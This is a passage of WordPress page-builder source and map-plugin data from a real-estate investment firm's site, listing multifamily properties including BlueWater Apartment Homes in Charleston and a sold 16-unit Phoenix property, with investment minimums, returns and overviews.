_module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_7 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_11\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_23  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_35  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_button_module_wrapper et_pb_button_1_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_1 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-17 02:04:30\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" 